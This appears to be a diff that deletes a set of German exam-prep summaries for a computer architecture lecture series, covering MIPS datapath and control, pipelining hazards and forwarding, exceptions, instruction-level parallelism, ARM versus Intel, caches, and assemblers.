||||
- Takt
|
||||
- **Ablauf:**
|
||||
- Kombinatorische Logik berechnet den nächsten Zustand aus aktuellem Zustand + Eingabe
|
||||
- Zustandspeicher aktualisiert sich bei Taktflanke
|
||||
- Ausgabe wird aus Zustand/Eingabe erzeugt
|
||||
|
||||
---
|
||||
|
||||
### ⏱️ Zeitliche Aspekte
|
||||
|
||||
- Jeder Schritt im Automaten braucht Zeit für:
|
||||
- Propagation durch die Logik
|
||||
- Synchronisation mit dem Takt
|
||||
- **Ohne Takt:** Asynchrone Schaltungen
|
||||
- **Mit Takt:** Syntaktische FSM → bevorzugt in modernen Prozessoren
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschied Schaltnetz ↔ Endlicher Automat
|
||||
✅ Rolle von Flip-Flops beim Speichern von Zuständen
|
||||
✅ DEA Aufbau: Zustandspeicher + Kombinatorische Logik + Takt
|
||||
✅ Flankengesteuerte Flip-Flops: warum wichtig?
|
||||
✅ Warum getaktete Automaten Analyse und Design erleichtern
|
||||
@@ -1,72 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V4 Prozessor (Teil 2) – Computerarchitektur**
|
||||
|
||||
### 🔁 Wiederholung aus Teil 1
|
||||
|
||||
- **Instruktionstypen (MIPS):**
|
||||
- **R-Format:** arithmetische/logische Operationen (z. B. `add $s1,$s2,$s3`)
|
||||
- **Load/Store:** Speicherzugriff (z. B. `lw`, `sw`)
|
||||
- **Branch:** bedingte Sprünge (`beq`, `bne`)
|
||||
- **Datenpfad (Full Datapath):**
|
||||
- Register → ALU → Speicher → Register
|
||||
- Separate Instruktions- und Datenspeicher nötig, da ein Zugriff pro Zyklus
|
||||
|
||||
---
|
||||
|
||||
### ⚙️ Steuerungseinheit (Control Unit)
|
||||
|
||||
- **Erzeugt Steuersignale aus dem Opcode:**
|
||||
- **MemtoReg:** bestimmt Datenquelle für Register-Schreiben
|
||||
- **ALUSrc:** wählt ALU-Operand (Register vs. unmittelbarer Wert)
|
||||
- **RegWrite:** aktiviert Schreibzugriff auf Register
|
||||
- **MemRead/MemWrite:** steuern Speicherzugriffe
|
||||
- **Branch:** aktiviert bei bedingten Sprüngen
|
||||
- **ALU Control:**
|
||||
- Basierend auf Opcode und Funct-Feld
|
||||
- Beispiel Mapping:
|
||||
|
||||
| ALUOp | Funct | ALU-Funktion |
|
||||
| ----- | ------ | ------------ |
|
||||
| 00 | XXXXXX | `add` |
|
||||
| 01 | XXXXXX | `sub` |
|
||||
| 10 | 100000 | `add` |
|
||||
| 10 | 100010 | `sub` |
|
||||
| 10 | 100100 | `and` |
|
||||
| 10 | 100101 | `or` |
|
||||
| 10 | 101010 | `slt` |
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📦 Erweiterter Datenpfad
|
||||
|
||||
- Unterstützung für:
|
||||
- **Jumps (`j`, `jal`):**
|
||||
- PC-Update mit 26-Bit Zieladresse + oberen 4 Bit des alten PCs
|
||||
- Steuerleitung „Jump“ wird aus Opcode dekodiert
|
||||
- **Branches (`beq`, `bne`):**
|
||||
- Zieladresse berechnen (PC+4 + Offset << 2)
|
||||
- ALU prüft, ob Bedingung erfüllt (Zero-Flag)
|
||||
|
||||
---
|
||||
|
||||
### 🚨 Performance-Betrachtung
|
||||
|
||||
- **Ein-Zyklus-Datenpfad Problem:**
|
||||
- Längster Pfad (Critical Path) bestimmt Taktfrequenz
|
||||
- Beispiel: Load-Befehl → Instruktionsspeicher → Registerfile → ALU → Datenspeicher → Registerfile
|
||||
- Unterschiedliche Instruktionen hätten unterschiedliche Latenzen → nicht praktikabel
|
||||
- **Lösung:** **Pipelining**
|
||||
- Aufteilung des Datenpfads in Stufen
|
||||
- Überlappende Bearbeitung mehrerer Instruktionen
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Steuersignale (MemtoReg, ALUSrc, RegWrite, Branch, Jump)
|
||||
✅ ALU Control Mapping (wie wird aus Opcode+Funct ALU-Funktion bestimmt?)
|
||||
✅ Erweiterung des Datenpfads für Jump/Branch
|
||||
✅ Problem des Ein-Zyklus-Datenpfads (Critical Path) → Motivation für Pipelining
|
||||
✅ Unterschied: Jump vs. Branch
|
||||
|
||||
---
|
||||
@@ -1,82 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V5 Pipelining – Computerarchitektur**
|
||||
|
||||
### 🚀 Was ist Pipelining?
|
||||
|
||||
- **Prinzip:** Überlappende Ausführung mehrerer Instruktionen
|
||||
- **Analogie:** Waschstraße – mehrere Autos gleichzeitig in unterschiedlichen Phasen
|
||||
- **Ziel:** Erhöhung des Durchsatzes (mehr Befehle pro Zeiteinheit)
|
||||
- **Wichtig:** Latenz einzelner Instruktionen bleibt gleich
|
||||
|
||||
---
|
||||
|
||||
### 🔁 MIPS-Pipeline (5 Stufen)
|
||||
|
||||
|**Stufe**|**Name**|**Funktion**|
|
||||
|---|---|---|
|
||||
|1|IF (Instruction Fetch)|Befehl aus Speicher laden|
|
||||
|2|ID (Instruction Decode)|Dekodieren, Register lesen|
|
||||
|3|EX (Execute)|ALU-Berechnung, Adresse kalkulieren|
|
||||
|4|MEM (Memory Access)|Speicher lesen/schreiben|
|
||||
|5|WB (Write Back)|Ergebnis ins Register zurückschreiben|
|
||||
|
||||
---
|
||||
|
||||
### 📈 Performance-Vorteile
|
||||
|
||||
- **Single-Cycle Datapath:** 800 ps pro Befehl
|
||||
- **Pipelined Datapath:** 200 ps pro Befehl
|
||||
- **Theoretisches Speedup:** Anzahl Stufen = 5x schneller
|
||||
- **Realität:** Speedup < 5 wegen Hazard-Stalls und unbalancierter Stufen
|
||||
|
||||
---
|
||||
|
||||
### ⚠️ Hazards (Gefahren)
|
||||
|
||||
#### 🏗 Struktur-Hazards
|
||||
|
||||
- Konflikt um Ressource (z. B. Instruktions- und Datenspeicher gleichzeitig benötigt)
|
||||
- **Lösung:** Getrennte Instruktions-/Datenspeicher oder Caches
|
||||
|
||||
#### 📦 Daten-Hazards
|
||||
|
||||
- Instruktion benötigt Ergebnis der vorherigen Instruktion
|
||||
- Beispiel:
|
||||
```asm
|
||||
add $s0, $t0, $t1
|
||||
sub $t2, $s0, $t3
|
||||
```
|
||||
|
||||
- **Lösungen:**
|
||||
- **Forwarding (Bypassing):** Ergebnis direkt weiterleiten
|
||||
- **Stalls:** Pipeline anhalten
|
||||
- **Code Scheduling:** Befehle umsortieren, um Abhängigkeiten zu vermeiden
|
||||
|
||||
#### 🔁 Kontroll-Hazards
|
||||
|
||||
- Sprünge (`beq`, `bne`) → Ziel erst spät bekannt
|
||||
- **Lösungen:**
|
||||
- Warten bis Branch-Entscheidung (Stalls)
|
||||
- **Branch Prediction:**
|
||||
- **Static:** Vorwärts nicht nehmen, Rückwärts nehmen
|
||||
- **Dynamic:** Verlauf der Branches aufzeichnen und vorhersagen
|
||||
|
||||
---
|
||||
|
||||
### 📦 Optimierungen
|
||||
|
||||
- **Forwarding:** Verhindert unnötige Stalls
|
||||
- **Branch Prediction:** Reduziert Control Hazards
|
||||
- **Separate Speicher:** Löst Struktur-Hazards
|
||||
- **Code Scheduling:** Compiler verschiebt Befehle zur Vermeidung von Stalls
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Pipeline-Stufen & ihre Aufgaben
|
||||
✅ Arten von Hazards + Lösungsstrategien (Forwarding, Prediction)
|
||||
✅ Unterschied Durchsatz ↔ Latenz
|
||||
✅ Warum MIPS-ISA besonders pipelining-freundlich ist
|
||||
✅ Unterschied Static ↔ Dynamic Branch Prediction
|
||||
|
||||
---
|
||||
@@ -1,161 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V6 Pipelining Datapath and Control – Computerarchitektur**
|
||||
|
||||
### 🔁 Wiederholung: Pipelined Datapath
|
||||
|
||||
- **Pipeline-Register** zwischen Stufen speichern Zwischenergebnisse:
|
||||
|
||||
- IF/ID, ID/EX, EX/MEM, MEM/WB
|
||||
|
||||
- **Ziel:** jede Stufe arbeitet gleichzeitig an unterschiedlichen Instruktionen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📦 Pipeline-Steuerung
|
||||
|
||||
- **Steuersignale** werden wie im Single-Cycle-Design aus dem Opcode abgeleitet.
|
||||
|
||||
- Vereinfachte & detaillierte Steuerung für jede Pipeline-Stufe:
|
||||
|
||||
- IF → ID → EX → MEM → WB
|
||||
|
||||
- Fehlerbehandlung und Hazard-Erkennung notwendig.
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ⚠️ Data Hazards & Forwarding
|
||||
|
||||
#### 📦 Beispiel-Hazard
|
||||
|
||||
```asm
|
||||
sub $2, $1, $3 # Ergebnis wird in $2 geschrieben
|
||||
and $12, $2, $5 # liest $2 → Hazard
|
||||
or $13, $6, $2 # liest $2 → Hazard
|
||||
```
|
||||
|
||||
#### 🛠 Lösungen
|
||||
|
||||
- **Forwarding (Bypassing):**
|
||||
|
||||
- Ergebnis wird direkt aus EX/MEM oder MEM/WB weitergeleitet.
|
||||
|
||||
- **Forwarding-Bedingungen:**
|
||||
|
||||
- EX-Hazard (vorherige Instruktion schreibt):
|
||||
|
||||
```
|
||||
if EX/MEM.RegWrite && EX/MEM.RegisterRd ≠ 0
|
||||
&& EX/MEM.RegisterRd == ID/EX.RegisterRs
|
||||
→ ForwardA = 10
|
||||
```
|
||||
|
||||
- MEM-Hazard (vor-vorherige Instruktion schreibt):
|
||||
|
||||
```
|
||||
if MEM/WB.RegWrite && MEM/WB.RegisterRd ≠ 0
|
||||
&& MEM/WB.RegisterRd == ID/EX.RegisterRs
|
||||
→ ForwardA = 01
|
||||
```
|
||||
|
||||
- **Revised Forwarding:** MEM-Forwarding nur, wenn kein EX-Hazard.
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔁 Load-Use Hazard
|
||||
|
||||
- Auftritt, wenn Instruktion direkt nach einem Load das geladene Register benötigt.
|
||||
|
||||
- **Lösung:** 1-Stall-Cycle (Bubble) einfügen.
|
||||
|
||||
- Erkennung:
|
||||
|
||||
```
|
||||
if ID/EX.MemRead &&
|
||||
(ID/EX.RegisterRt == IF/ID.RegisterRs ||
|
||||
ID/EX.RegisterRt == IF/ID.RegisterRt)
|
||||
→ Stall
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ⏱ Stalls & Bubbles
|
||||
|
||||
- **Bubble:** NOP wird in die Pipeline eingefügt
|
||||
|
||||
- PC und IF/ID-Register werden nicht aktualisiert (Pipeline pausiert)
|
||||
|
||||
- Compiler kann Code oft umsortieren, um Stalls zu vermeiden.
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔥 Branch Hazards & Lösungen
|
||||
|
||||
#### ⏳ Problem:
|
||||
|
||||
- Branch-Entscheidung erst in MEM-Stufe bekannt → falsche Befehle im IF
|
||||
|
||||
|
||||
#### 🛠 Lösungen:
|
||||
|
||||
1. **Early Branch Resolution:**
|
||||
|
||||
- Zieladresse & Vergleich schon in ID berechnen
|
||||
|
||||
2. **Flush Pipeline:**
|
||||
|
||||
- Falls Branch genommen → falsche Instruktionen entfernen
|
||||
|
||||
3. **Branch Prediction:**
|
||||
|
||||
- **Static Prediction:**
|
||||
|
||||
- Rückwärts: taken (Schleifen)
|
||||
|
||||
- Vorwärts: not taken
|
||||
|
||||
- **Dynamic Prediction:**
|
||||
|
||||
- **1-Bit Predictor:** einfache Historie
|
||||
|
||||
- **2-Bit Predictor:** robuster gegen wiederholte Fehleinschätzungen
|
||||
|
||||
- **Branch Target Buffer (BTB):**
|
||||
|
||||
- Cache für Zieladressen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📐 Visualisierung
|
||||
|
||||
- **Multi-Cycle-Diagramme:** Ressourcen-Nutzung über Zeit
|
||||
|
||||
- **Single-Cycle-Diagramme:** Pipeline-Zustand zu einem Takt
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📊 Performance-Effekte
|
||||
|
||||
- Forwarding & Prediction minimieren Stalls
|
||||
|
||||
- Dennoch: Stalls notwendig für Korrektheit
|
||||
|
||||
- Compiler kann helfen: **Instruction Scheduling**
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Pipeline-Register & ihre Funktion
|
||||
✅ Forwarding vs. Stalling: Bedingungen & Hardwarelogik
|
||||
✅ Load-Use Hazard: Erkennung & Behebung
|
||||
✅ Branch Hazards: Static & Dynamic Prediction, BTB
|
||||
✅ Unterschied Multi- und Single-Cycle-Diagramme
|
||||
|
||||
---
|
||||
@@ -1,139 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V7 Pipelining – Exceptions, Interrupts & Instruction-Level Parallelism (ILP)**
|
||||
|
||||
---
|
||||
|
||||
### ⚡ Exceptions & Interrupts
|
||||
|
||||
#### 🛑 Was sind Exceptions?
|
||||
|
||||
- Unerwartete Ereignisse **innerhalb der CPU**
|
||||
|
||||
- Beispiele: undefined opcode, overflow, syscall
|
||||
|
||||
- **MIPS:** Verwaltet durch Coprozessor (CP0)
|
||||
|
||||
- Speichert PC der verursachenden Instruktion in **EPC (Exception Program Counter)**
|
||||
|
||||
- Speichert Ursache im **Cause Register**
|
||||
|
||||
- Springt zu Exception Handler (z. B. Adresse `0x8000 0180`)
|
||||
|
||||
|
||||
#### 📡 Was sind Interrupts?
|
||||
|
||||
- Unerwartete Ereignisse **von außen** (z. B. I/O-Geräte)
|
||||
|
||||
- Unterschiedliche ISAs verwenden „Exception“ & „Interrupt“ teilweise synonym.
|
||||
|
||||
|
||||
#### 🚦 Exception-Handling im Pipeline-Design
|
||||
|
||||
- Ähnlich wie ein Branch-Misprediction:
|
||||
|
||||
- Vorherige Instruktionen abschließen
|
||||
|
||||
- Verursachende & folgende Instruktionen flushen
|
||||
|
||||
- Kontrolle an den Handler übergeben
|
||||
|
||||
|
||||
#### 🔄 Restartable vs. Imprecise Exceptions
|
||||
|
||||
- **Restartable:** Handler beendet und springt zurück zur Instruktion (EPC)
|
||||
|
||||
- **Imprecise:** Pipeline stoppt, mehrere Exceptions gespeichert → Handler entscheidet, was zu tun ist
|
||||
|
||||
- Schwieriger bei Out-of-Order-Pipelines
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🚀 Instruction-Level Parallelism (ILP)
|
||||
|
||||
#### 📊 Ziel: Mehrere Instruktionen gleichzeitig ausführen
|
||||
|
||||
- **Pipelining:** 1 Instruktion pro Stufe, mehrere gleichzeitig aktiv
|
||||
|
||||
- **Deeper Pipeline:** kürzere Takte, aber mehr Stalls möglich
|
||||
|
||||
- **Multiple Issue:** mehrere Instruktionen pro Takt starten
|
||||
|
||||
- **Static Multiple Issue (VLIW):**
|
||||
|
||||
- Compiler bildet „issue packets“ (mehrere Instruktionen pro Takt)
|
||||
|
||||
- Beispiel: Dual-Issue MIPS (1 ALU/Branch + 1 Load/Store)
|
||||
|
||||
- Compiler-Scheduling nötig
|
||||
|
||||
- **Dynamic Multiple Issue (Superscalar):**
|
||||
|
||||
- CPU entscheidet zur Laufzeit, wie viele Instruktionen pro Takt gestartet werden
|
||||
|
||||
- Vorteil: weniger Compiler-Arbeit
|
||||
|
||||
- Herausforderung: Hazards und Ressourcen-Konflikte vermeiden
|
||||
|
||||
|
||||
#### 🧠 Speculation
|
||||
|
||||
- **Prinzip:** Vermuten, welche Instruktionen ausgeführt werden können
|
||||
|
||||
- **Branch Speculation:** Vorhersage der Sprungrichtung
|
||||
|
||||
- **Load Speculation:** vorzeitiges Laden von Speicherwerten
|
||||
|
||||
- Bei falscher Vermutung: Rollback & korrekt ausführen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Dynamisches Scheduling
|
||||
|
||||
- CPU führt Instruktionen **out of order** aus, um Stalls zu vermeiden
|
||||
|
||||
- Ergebnisse werden **in order committed** (Reorder Buffer)
|
||||
|
||||
- **Register Renaming:**
|
||||
|
||||
- Verhindert falsche Abhängigkeiten (WAW & WAR)
|
||||
|
||||
- Ermöglicht parallele Nutzung derselben logischen Register
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📈 Herausforderungen für ILP
|
||||
|
||||
- **Abhängigkeiten:**
|
||||
|
||||
- Datenabhängigkeit (true dependency)
|
||||
|
||||
- Kontrollabhängigkeit (branches)
|
||||
|
||||
- Ressourcenabhängigkeit (strukturelle Konflikte)
|
||||
|
||||
- **Compiler-Limitationen:**
|
||||
|
||||
- Pointer-Aliasing erschwert statische Analyse
|
||||
|
||||
- **Hardware-Limitationen:**
|
||||
|
||||
- Fenstergröße für dynamisches Scheduling begrenzt
|
||||
|
||||
- Cache-Misses & Speicherbandbreite begrenzen Parallelität
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschied Exception ↔ Interrupt
|
||||
✅ EPC & Cause-Register im MIPS-Handling
|
||||
✅ Restartable vs. Imprecise Exceptions
|
||||
✅ VLIW vs. Superscalar (Static vs. Dynamic Multiple Issue)
|
||||
✅ Speculation: was passiert bei falscher Vorhersage?
|
||||
✅ Register Renaming: warum wichtig?
|
||||
✅ Warum ILP in der Praxis nicht beliebig steigerbar ist
|
||||
|
||||
---
|
||||
@@ -1,110 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V8a Intel und Arm – Computerarchitektur**
|
||||
|
||||
---
|
||||
|
||||
### ⚡ Power Efficiency: ARM vs. Intel
|
||||
|
||||
||**ARM Cortex-A8**|**Intel Core i7-920**|
|
||||
|---|---|---|
|
||||
|Markt|Mobile Devices|Server, Desktop|
|
||||
|TDP (Thermal Power)|2 W|130 W|
|
||||
|Taktfrequenz|1 GHz|2,66 GHz|
|
||||
|Kerne pro Chip|1|4|
|
||||
|Floating Point Unit|Nein|Ja|
|
||||
|Multiple Issue|Statisch, in-order|Dynamisch, OoO + Spec.|
|
||||
|Pipeline-Stufen|14|14|
|
||||
|Branch Prediction|2-Level|2-Level|
|
||||
|L1 Cache|32 KB I, 32 KB D|32 KB I, 32 KB D|
|
||||
|L2 Cache|128–1024 KB|256 KB|
|
||||
|L3 Cache|-|2–8 MB (shared)|
|
||||
|Max Instr/Takt|2|4|
|
||||
|
||||
---
|
||||
|
||||
### 🔄 Pipelines im Vergleich
|
||||
|
||||
#### ARM Cortex-A8
|
||||
|
||||
- Pipeline: Statisch geplante Ausführung (in-order)
|
||||
|
||||
- Einfachere Hardware → energieeffizient
|
||||
|
||||
- Optimiert für mobile Geräte
|
||||
|
||||
|
||||
#### Intel Core i7
|
||||
|
||||
- Pipeline: Dynamisch, out-of-order, mit Speculation
|
||||
|
||||
- Komplexere Hardware → höherer Energiebedarf
|
||||
|
||||
- Optimiert für High-Performance-Anwendungen
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🧮 Instruction-Level Parallelism (ILP)
|
||||
|
||||
#### 💡 Multiple Issue:
|
||||
|
||||
- ARM: **Statische Planung** (Compiler entscheidet Reihenfolge)
|
||||
|
||||
- Intel: **Dynamische Planung** (CPU entscheidet zur Laufzeit)
|
||||
|
||||
- Dynamische Planung bietet bessere Ausnutzung, aber höheren Hardwareaufwand.
|
||||
|
||||
|
||||
#### 🛠 Matrix-Multiplikation (Beispiel)
|
||||
|
||||
- **C-Code (mit Loop Unrolling & SIMD):**
|
||||
|
||||
- Nutzt AVX-Befehle (_mm256)
|
||||
|
||||
- **Assembly-Code:**
|
||||
|
||||
- Parallele Berechnungen mit YMM-Registers (256-Bit)
|
||||
|
||||
- Beispiel: `vmulpd`, `vaddpd`, `vbroadcastsd`
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ⚠️ Fallacies & Pitfalls
|
||||
|
||||
#### 🚧 Irrtümer
|
||||
|
||||
- **„Pipelining ist einfach“:** Nur die Grundidee ist einfach, Details (Hazard Detection, Forwarding) sind komplex.
|
||||
|
||||
- **„Pipelining ist unabhängig von Technologie“:** Fortschritte in Halbleitern machten es erst praktikabel.
|
||||
|
||||
|
||||
#### 💥 Probleme
|
||||
|
||||
- Komplexe ISAs (z. B. x86) erschweren effiziente Pipeline-Implementierung.
|
||||
|
||||
- **Delayed Branches:** erhöhen Designaufwand
|
||||
|
||||
- **IA-32 Micro-Op-Ansatz:** wandelt komplexe Instruktionen in einfache Mikro-Operationen um
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📜 Fazit
|
||||
|
||||
✅ ISA-Design beeinflusst Datapath- und Steuerwerk-Design – und umgekehrt
|
||||
✅ Pipelining steigert Durchsatz, nicht Latenz
|
||||
✅ Hazards (structural, data, control) sind zentrale Herausforderungen
|
||||
✅ ILP steigert Parallelität, aber nur begrenzt durch Abhängigkeiten
|
||||
✅ Komplexität → Energieverbrauch (Power Wall)
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Unterschied ARM ↔ Intel (In-order vs. OoO, TDP, Pipelines)
|
||||
✅ Statische vs. Dynamische Planung
|
||||
✅ Vor- & Nachteile von ILP und Multiple Issue
|
||||
✅ Fallacies (Irrtümer) beim Pipelining-Design
|
||||
✅ Warum einfache ISAs (RISC) Pipelines erleichtern
|
||||
|
||||
---
|
||||
@@ -1,160 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V8b Speicheranbindung – Computerarchitektur**
|
||||
|
||||
---
|
||||
|
||||
### 🚨 Bottleneck: Speicher
|
||||
|
||||
- CPU-Leistung steigt schneller als Speicherleistung → **Memory Wall**
|
||||
|
||||
- Lösung: **Speicherhierarchie**
|
||||
|
||||
- Nutzt das **Prinzip der Lokalität**
|
||||
|
||||
- **Zeitliche Lokalität:** kürzlich verwendete Daten werden bald wieder benötigt
|
||||
|
||||
- **Räumliche Lokalität:** benachbarte Daten werden bald benötigt
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🏛 Speicherhierarchie
|
||||
|
||||
|Ebene|Beispiel|Größe|Geschwindigkeit|
|
||||
|---|---|---|---|
|
||||
|Register|CPU-Register|Bytes|ns|
|
||||
|L1-Cache|SRAM|KB|~1 ns|
|
||||
|L2/L3-Cache|SRAM|MB|~10 ns|
|
||||
|Hauptspeicher|DRAM|GB|~100 ns|
|
||||
|Sekundärspeicher|SSD/HDD|TB|ms|
|
||||
|
||||
- **Hit:** Zugriff erfolgreich in oberer Ebene
|
||||
|
||||
- **Miss:** Daten müssen aus unterer Ebene geholt werden (Miss Penalty)
|
||||
|
||||
- **Miss Ratio = 1 – Hit Ratio**
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 💾 Speichertechnologien
|
||||
|
||||
- **SRAM:** schnell, teuer, klein → Caches
|
||||
|
||||
- **DRAM:** langsamer, günstiger, groß → Hauptspeicher
|
||||
|
||||
- **DDR, QDR:** Transfers auf steigender & fallender Flanke
|
||||
|
||||
- **Flash (EEPROM):** nicht-flüchtig, schneller als HDD, aber begrenzte Lebensdauer
|
||||
|
||||
- **NOR-Flash:** Random Access, Embedded Systems
|
||||
|
||||
- **NAND-Flash:** Blockweise Zugriff, USB, SSDs
|
||||
|
||||
- **Magnetische Platten (HDD):** große Kapazität, langsamer Zugriff
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📦 Cache-Grundlagen
|
||||
|
||||
#### 📌 Organisation
|
||||
|
||||
- **Direct-Mapped Cache:** 1 Block pro Adresse
|
||||
|
||||
- **Set-Associative Cache:** mehrere mögliche Plätze pro Block
|
||||
|
||||
- **Fully-Associative Cache:** jeder Block kann überall hin
|
||||
|
||||
|
||||
#### 📌 Komponenten
|
||||
|
||||
- **Tag:** identifiziert Block
|
||||
|
||||
- **Valid-Bit:** zeigt an, ob Block gültig ist
|
||||
|
||||
- **Replacement Policies:**
|
||||
|
||||
- LRU (Least Recently Used)
|
||||
|
||||
- Random
|
||||
|
||||
|
||||
#### 📌 Schreibstrategien
|
||||
|
||||
- **Write-Through:** gleichzeitiges Schreiben in Cache & Speicher
|
||||
|
||||
- - Einfach
|
||||
|
||||
- – Langsam, Lösung: Write Buffer
|
||||
|
||||
- **Write-Back:** Schreiben nur bei Block-Verdrängung
|
||||
|
||||
- - Schnell
|
||||
|
||||
- – Komplexer (dirty-bit notwendig)
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🏎 Cache-Performance
|
||||
|
||||
- **Miss Types:**
|
||||
|
||||
- **Compulsory:** erste Referenz
|
||||
|
||||
- **Capacity:** Cache zu klein
|
||||
|
||||
- **Conflict:** Set-Associative Caches
|
||||
|
||||
- **Formeln:**
|
||||
|
||||
- **AMAT (Average Memory Access Time):**
|
||||
|
||||
AMAT=HitTime+MissRate×MissPenaltyAMAT = HitTime + MissRate × MissPenalty
|
||||
- **Effective CPI:**
|
||||
|
||||
CPIeff=CPIbase+MemoryStallsCPI_{eff} = CPI_{base} + MemoryStalls
|
||||
|
||||
---
|
||||
|
||||
### 🔥 Optimierungen
|
||||
|
||||
#### 🪜 Multilevel-Caches
|
||||
|
||||
- **L1:** klein & schnell, Fokus auf kurze Zugriffszeit
|
||||
|
||||
- **L2/L3:** größer, Fokus auf niedrige Missrate
|
||||
|
||||
|
||||
#### 📐 Cache Blocking (Beispiel DGEMM)
|
||||
|
||||
- Matrix-Multiplikation optimiert durch Blockierung → bessere Cache-Nutzung
|
||||
|
||||
- Vermeidet Cache-Pollution & reduziert Misses
|
||||
|
||||
|
||||
```c
|
||||
#define BLOCKSIZE 32
|
||||
for (sj = 0; sj < n; sj += BLOCKSIZE)
|
||||
for (si = 0; si < n; si += BLOCKSIZE)
|
||||
for (sk = 0; sk < n; sk += BLOCKSIZE)
|
||||
do_block(n, si, sj, sk, A, B, C);
|
||||
```
|
||||
|
||||
#### 🚀 Software-Optimierung
|
||||
|
||||
- Compiler & Algorithmus-Anpassung nutzen Lokalität besser aus
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 📝 Für die Klausur merken
|
||||
|
||||
✅ Prinzip der Lokalität (zeitlich & räumlich)
|
||||
✅ Speicherhierarchie & typische Zugriffszeiten
|
||||
✅ Direct-Mapped vs. Set-Associative vs. Fully-Associative
|
||||
✅ Write-Through vs. Write-Back + Vor- & Nachteile
|
||||
✅ AMAT-Formel und Cache-Performance-Berechnungen
|
||||
✅ Cache Blocking bei DGEMM (Grundidee)
|
||||
|
||||
---
|
||||
@@ -1,129 +0,0 @@
|
||||
## 📘 **Zusammenfassung: V9 Assembler – Computerarchitektur**
|
||||
|
||||
---
|
||||
|
||||
### 🏷 Begriffsklärungen
|
||||
|
||||
|Begriff|Bedeutung|
|
||||
|---|---|
|
||||
|**Assembler**|Programm, das Assemblersprache in Maschinensprache übersetzt|
|
||||
|**Assemblersprache**|Maschinennahe Programmiersprache mit 1:1-Abbildung auf Maschinenbefehle|
|
||||
|**Cross-Assembler**|Läuft auf Host-System, erzeugt Maschinencode für Target-System|
|
||||
|**Disassembler**|Rückübersetzt Maschinencode in Assembler (Bezeichner, Kommentare gehen meist verloren)|
|
||||
|**Macro-Assembler**|Unterstützt Makros zur Vereinfachung wiederkehrender Befehlssequenzen|
|
||||
|**Pseudobefehl**|Befehl für den Assembler, der im Maschinencode aus mehreren echten Instruktionen besteht|
|
||||
|
||||
---
|
||||
|
||||
### 🎯 Vorteile von Assemblersprache
|
||||
|
||||
✅ Direkter Zugriff auf alle Merkmale der Hardware
|
||||
✅ Sehr kompakter & schneller Code möglich
|
||||
✅ Zeitkritische Routinen exakt steuerbar
|
||||
✅ Besseres Verständnis der Prozessorarchitektur
|
||||
|
||||
---
|
||||
|
||||
### ⚠️ Nachteile von Assemblersprache
|
||||
|
||||
❌ Schwierige Programmierung & Wartung
|
||||
❌ Zeitaufwändig, keine modernen Programmierkonzepte
|
||||
❌ Hardwareabhängig (nicht portabel)
|
||||
👉 **Kompromiss:** Inline-Assembler in Hochsprachen für kritische Teile
|
||||
|
||||
---
|
||||
|
||||
### 🖥️ MASM (Microsoft Macro Assembler)
|
||||
|
||||
- Verwendet für x86-Architektur
|
||||
|
||||
- Teil von Microsoft Visual Studio
|
||||
|
||||
- **Anweisungsformat:**
|
||||
|
||||
```
|
||||
[Label] Opcode Operanden ; Kommentar
|
||||
```
|
||||
|
||||
- **Pseudobefehle:** Anweisungen an den Assembler, nicht an die CPU
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔁 Makros
|
||||
|
||||
- **Makrodefinition:** wie eine Inline-Funktion
|
||||
|
||||
- **Makroaufruf:** Ersetzung durch Makro-Rumpf
|
||||
|
||||
- **Mit Parametern:** ermöglicht Wiederverwendung mit unterschiedlichen Werten
|
||||
|
||||
- Vorteil ggü. Prozeduraufruf: kein Overhead durch Call/Return
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🏃 Zwei-Pass-Assembler
|
||||
|
||||
#### 1️⃣ Erster Lauf
|
||||
|
||||
- Aufbau von Tabellen:
|
||||
|
||||
- **Symboltabelle:** Marken, Adressen
|
||||
|
||||
- **Opcode-Tabelle:** Mnemonics & Binärcode
|
||||
|
||||
- **Pseudobefehlstabelle**
|
||||
|
||||
- Berechnung der **Instruction Location Counter (ILC)**
|
||||
|
||||
|
||||
#### 2️⃣ Zweiter Lauf
|
||||
|
||||
- Übersetzung in Maschinencode
|
||||
|
||||
- Nutzung der Symboltabelle für Adressauflösungen
|
||||
|
||||
- Erzeugung des Objektprogramms
|
||||
|
||||
|
||||
---
|
||||
|
||||
### 🔗 Binden (Linking) & Laden
|
||||
|
||||
- **Linker-Aufgaben:**
|
||||
|
||||
- Erstellen des virtuellen Adressraums
|
||||
|
||||
- Auflösen externer Referenzen
|
||||
|
||||
- Relokation (Anpassung der Speicheradressen)
|
||||
|
||||
- **Relokationsregister:** Hardware fügt Startadresse hinzu
|
||||
|
||||
